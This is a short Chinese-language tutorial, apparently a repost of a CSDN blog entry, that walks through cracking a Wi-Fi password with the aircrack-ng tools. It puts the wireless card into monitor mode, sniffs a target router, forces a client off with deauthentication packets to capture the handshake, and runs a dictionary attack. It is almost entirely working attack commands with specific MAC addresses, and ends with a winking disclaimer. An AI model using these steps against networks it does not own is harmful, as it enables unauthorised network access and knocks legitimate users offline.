http://blog.csdn.net/wingstudio_zongheng/article/details/51435212
1.前期准备
1）打开一个终端 执行命令:
ifconfig #查看无线网卡，找到他的name(我的无线网卡名字为wlano 接下来我就以我的无线网卡名做讲解)
ifconfig wlan0 down #关闭无线网卡（ifconfig 无线网卡名 down）
iwconfig wlan0 mode monitor # 将无线网卡模式改为监听模式(iwconfig 无线网卡名 mode 更改的模式)
ifconfig wlan0 up #启用无线网卡
airmon-ng start wlan0 将网卡转换为监听模式，你将会看到下列信息
airodump-ng wlan0 #开始扫描附近的无线网络
1.bassid #路由器的mac地址
2.CH #信道
3.ENC #加密方式
2.准备攻击
1)执行命令如下（这里用libiaowif768做实例）
airodump-ng -c 11 -w test --bssid 00:71:CC:17:CB:5C wlan0 #命令含义:airodump-ng -c 信道 -w 抓包生成的文件名 --bssid 路由器的mac地址 本机使用的抓包网卡名 # 得到该无线的网络状态信息,执行命令你会看到下图
aireplay-ng -0 10 -a 00:71:CC:17:CB:5C -c 94:E9:6A:92:4E:A4 wlan0 #命令含义:aireplay-ng -0 10 -a 路由器mac地址 -c 客户端mac地址 本机使用的抓包网卡名 #打断客户端链接该路由器的链接，抓包。（这里新建一个终端），执行命令后你会看到下图
aireplay-ng -0 10 -a 00:71:CC:17:CB:5C -c 94:E9:6A:92:4E:A4 wlan0 #命令含义:aireplay-ng -0 10 -a 路由器mac地址 -c 客户端mac地址 本机使用的抓包网卡名 #打断客户端链接该路由器的链接，抓包。（这里新建一个终端），执行命令后你会看到下图
3.密码破解
1)执行命令如下
aircrack-ng -w /wnt/a/1pass01.txt wode.cap #命令含义:aircrack-ng -w 字典包位置 抓包生成的文件名.cap #跑字典解密
只要你的字典够强打就没有破解不了的密码，请打家不要而已破坏别人的无线（呵呵，你懂得）。